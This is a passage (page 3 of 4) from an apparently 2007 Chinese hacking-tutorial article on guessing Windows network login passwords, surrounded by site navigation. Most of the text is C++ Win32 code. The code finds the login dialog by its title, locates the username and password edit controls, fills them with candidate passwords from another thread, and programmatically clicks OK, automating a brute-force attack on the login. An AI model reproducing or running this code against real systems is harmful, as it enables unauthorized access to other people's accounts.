今日精选 ·绝对解密 XP系统中隐藏的10个秘密 ·Windows系统文件详解【大全】 ·配置Windows Server 2008高级防火墙 ·带你现场体验专业服务器机房 ·屏蔽五项功能 让Windows XP极速狂飙 ·木马免杀技术大盘点 ·如何让无线路由信号更强更广 ·各大路由器默认密码(完美汇总经典版) ·如何构建安全的入侵检测系统 ·电脑故障维修判断指导大全(联想内部文件) >>>>
编程开发  Java | .Net | C/C++ | Delphi | VC/VB | XML | ASP | PHP
数据库  Oracle | Mysql | DB2 | Sql server
应用方案 无线网络方案 | 有线网络方案 

网管天地  网吧管理 | 路由器 | 交换机 | 服务器
网络安全  黑客技术 | 病毒漏洞 | 网站安全 | 服务器安全 | 入侵防御 | 防火墙
操作系统 Linux/Unix | Windows 
您现在的位置: 企业网络安全 >> 文章·资讯 >> 互联网安全 >> 黑客攻防 >> 文章正文
Windows网络用户登录密码的猜解
作者:佚名 文章来源:本站原创 点击数: 更新时间:2007-8-16 9:07:00

 

3.窗口及子窗口枚举

  UINT ThreadProc(LPVOID *pPraram)

  {

  while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;}

  return 0;

  }

  BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)

  {

  char lpWinTitle[MAX_LINELENGTH];

  ::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1);

  if(strcmp(lpWinTitle,sTitle)==0)// sTitle:网络登录窗口的窗口名

  { gMutex.Lock(INFINITE);//防止两个线程同时操作

  while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL));

  gMutex.Unlock();

  return FALSE;

  }

  return TRUE;

  }

  BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)

  {

  char sChildName[MAX_LINELENGTH];

  ::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);

  file://处理编辑控件,登录窗口中一般只有两个编辑框,可用MicroSoft Spy++查看窗口的

  file://各个子窗口

  // 的属性。通过对比各控件的风格或名字来区别各控件。

  if(strcmp(sChildName,"Edit")==0)

  {

  DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE);

  if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//这是密码输入编辑控件

  {

  gEventNextPass.SetEvent();//发送“新密码”事件

  WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密码完成”事件

  gEventPassOk.ResetEvent(); file://复位

  ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);

  file://把新密码填到密码输入框,也可用SetWindowText()

  bPass=TRUE;//记录密码已填入

  if(bUser&&(hOk!=NULL))//如果用户名已填入,“确定”按钮已找到。

  {

  ::SendMessage(::GetParent(hOk),WM_COMMAND,

  (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));

  file://向“确定”按钮送消息,参照ClassWizard的消息映射

  bUser=FALSE;bPass=FALSE;hOk=NULL;

  file://完成一次登录,初始化

  return FALSE;

  }

  return TRUE;

  }

  file://非此即彼,这是用户名输入编辑控件

  if((dWinSty&ES_READONLY)!=ES_READONLY)

  {

  ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);

  file://把新用户名填到用户名输入框,也可用SetWindowText()

  bUser=TRUE;// 新用户名已填入用户名输入框

  if(bPass&&(hOk!=NULL)) 如果密码已填入,“确定”按钮已找到。

  {

  ::SendMessage(::GetParent(hOk),WM_COMMAND,

  (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));

  file://向“确定”按钮送消息,参照ClassWizard的消息映射

  bUser=FALSE;bPass=FALSE;hOk=NULL;

  file://完成一次登录,初始化

  return FALSE;

  }

  }

  return TRUE;

  }

  file://如果是按钮控件

  if(strcmp(sChildName,"Button")==0)

  {

  char sChildTitle[MAX_LINELENGTH];

  ::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1);

  if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE;

  // sButtonOk:登录窗口中“OK”按钮的标题

  hOk=hwnd;//记录“OK”窗口句柄

  if(bUser&&bPass)

  {

  ::SendMessage(::GetParent(hOk),WM_COMMAND,

  (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));

  file://向“确定”按钮送消息,参照ClassWizard的消息映射

  bUser=FALSE;bPass=FALSE;hOk=NULL;

  file://完成一次登录,初始化

  return FALSE;

  }

  return TRUE;

  }

  return TRUE;

  }

上一页  [1] [2] [3] [4] 下一页


免责声明:作品版权归所属媒体与作者所有!!本站刊载此文不代表同意其说法或描述,仅为提供更多信息。如果您认为我们侵犯了您的版权,请告知!本站立即删除。有异议请联系我们。
文章录入:admin    责任编辑:admin 
  • 上一篇文章:
  • 下一篇文章:
  • 网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告 |